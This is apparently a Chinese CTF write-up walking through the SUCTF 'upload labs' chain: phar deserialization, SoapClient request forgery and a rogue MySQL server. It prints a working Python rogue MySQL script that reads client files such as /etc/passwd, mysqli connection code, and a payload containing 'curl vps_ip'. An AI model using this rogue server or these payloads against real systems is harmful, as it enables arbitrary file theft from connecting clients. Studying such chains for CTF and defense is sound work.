zoukankan      html  css  js  c++  java
  • 结合suctf-upload labs-RougeMysql再学习

    这篇主要记录一下这道题目的预期解法

    做这道题首先要在自己的vps搭建一个rouge mysql,里面要填写需要读取客户端的文件名,即我们上传的phar文件路径

    先搭一个rouge mysql测试看看:

    #coding=utf-8
    #python2.x
    import socket import logging logging.basicConfig(level=logging.DEBUG) #filename="phar:///var/www/html/upload/bdb01307672a35c91848f1c1d093c343/d01deaab382af320bb80e16efc8ecd78.gif" filename="/etc/passwd" sv=socket.socket() sv.bind(("",3306)) sv.listen(5) conn,address=sv.accept() logging.info('Conn from: %r', address) conn.sendall("x4ax00x00x00x0ax35x2ex35x2ex35x33x00x17x00x00x00x6ex7ax3bx54x76x73x61x6ax00xffxf7x21x02x00x0fx80x15x00x00x00x00x00x00x00x00x00x00x70x76x21x3dx50x5cx5ax32x2ax7ax49x3fx00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00") conn.recv(9999) logging.info("auth okay") conn.sendall("x07x00x00x02x00x00x00x02x00x00x00") conn.recv(9999) logging.info("want file...") wantfile=chr(len(filename)+1)+"x00x00x01xFB"+filename conn.sendall(wantfile) content=conn.recv(9999) logging.info(content) conn.close()

    首先尝试读一个/etc/passwd看看

    此时只需要在服务器启动rouge mysql即可

    此时可以看到服务器已经监听了3306端口等待客户端的连接

    我们依照以下mysql客户端的配置来构造payload:

    客户端选择mysqli类

    $m = new mysqli(); 
    $m->init();
    $m->real_connect('vps_ip','select 1','select 1','select 1',3306);
    $m->query('select 1;');

    这里只需要配置ip和端口接口

    接下来就能够读取到客户端的/etc/passwd文件了,那么只需要修改一下soap请求中的post参数即可,修改成客户端连接rouge mysql的参数形式

    那么对应的soap请求中的post参数改为:

    'admin=1&cmd=curl vps_ip&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=vps_ip&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select 1'

    然后上传phar文件:

    此时将得到回显一个回显路径:

    那么此时再上传第二个phar文件,因为此时在rouge mysql上需要给客户端发送读取phar文件,这时客户端才会打开这个phar文件,从而触发有漏洞的stream,导致反序列化,

     

    所以此时需要新建一个phar文件,那么肯定要存在待会要反序列化的Ad类,然后生成phar上传,将会得到一个新的phar路径,这个就是我们要在rouge mysql上配置的要读取的文件路径

    然后我们此时再访问我们上传的第一个phar文件,就能够打通整个攻击链了,这里和zedd师傅交流了,需要对源代码进行一个小的修改

    在调用反射类实现的real_connect方法时参数实际上为5个参数,对应着ip,数据库用户名、数据库密码、数据库名,端口,所以不能够直接以数据传进去,所以这里需要改成

    invode($this->instance,$this->arg2[0],$this->arg2[1],$this->arg2[2],$this->arg2[3],$this->arg2[4])

    然后再回到func.php来触发漏洞,为了方便测试,我在本地里面写的wakeup函数是curl vps的端口

    那么触发phar以后,vps的rouge mysql将接受到客户端的请求,并且此时vps监听的端口也将收到curl请求,整个攻击链都打通了

     梳理一下这个题目的流程:

    1.首先bypass协议限制,构造phar包

    2.构造soap请求admin.php,触发Ad类中的反射类

    3.rouge mysql 客户端文件任意读取

    整个攻击流程用到了两次phar反序列化

    第一次phar反序列化,触发File类

    类中__wakeup函数来反射一个soap类,调用check函数触发请求,这里exp中file_name构造为一个数组传入$this->file_name是可以的,实际上就当作是构造函数的参数了可以分解为两个参数,因为soap请求第一个参数要为null,即非wsdl型,第二个参数才是注入post请求的参数

    第二次mysql本地读取文件时造成phar反序列化,触发Ad类__wakeup函数触发getflag

    这里payload传入的时候就不能直接传入一个数组了,

    这里invoke实际上是调用类中的方法,第一个参数就是实例化的mysqli对象,第二个参数就是传给要调用的$reflectionMethod的参数,这里不能用数组。

    所以整个攻击链就分析完了,还是踩了不少坑:

    1.docker里面直接docker-compose up -d起来,soap发送请求时要修改一下ip和端口,要是默认是127.0.0.1:9025端口这样是访问不到127.0.0.1:9025/admin.php的,必须修改为docker容器的ip地址

    那么对应的验证是否为127.0.0.1的地方也要修改一下,修改为

    这样本地才可以跑通,rouge mysql的攻击面实际上在cms里面也还有很多,有兴趣的话可以结合cms好好研究研究 

  • 相关阅读:
    字符编码相关
    函数之形参与实参
    文件操作模式
    函数对象,名称空间,作用域,和闭包
    吴裕雄天生自然SPRINGBOOT开发实战处理'spring.datasource.url' is not specified and no embedded datasource could be autoconfigured
    吴裕雄天生自然SPRINGBOOT开发实战处理XXXX that could not be found.
    吴裕雄天生自然SPRINGBOOT开发实战SpringBoot HTML表单登录
    吴裕雄天生自然SPRINGBOOT开发实战SpringBoot REST示例
    吴裕雄天生自然SpringBoot开发实战学习笔记处理 Could not write metadata for '/Servers'.metadata\.plugins\org.eclipse.core.resources\.projects\Servers\.markers.snap (系统找不到指定的路径。)
    吴裕雄天生自然SPRINGBOOT开发实战SpringBoot Tomcat部署
  • 原文地址:https://www.cnblogs.com/tr1ple/p/11394464.html
Copyright © 2011-2022 走看看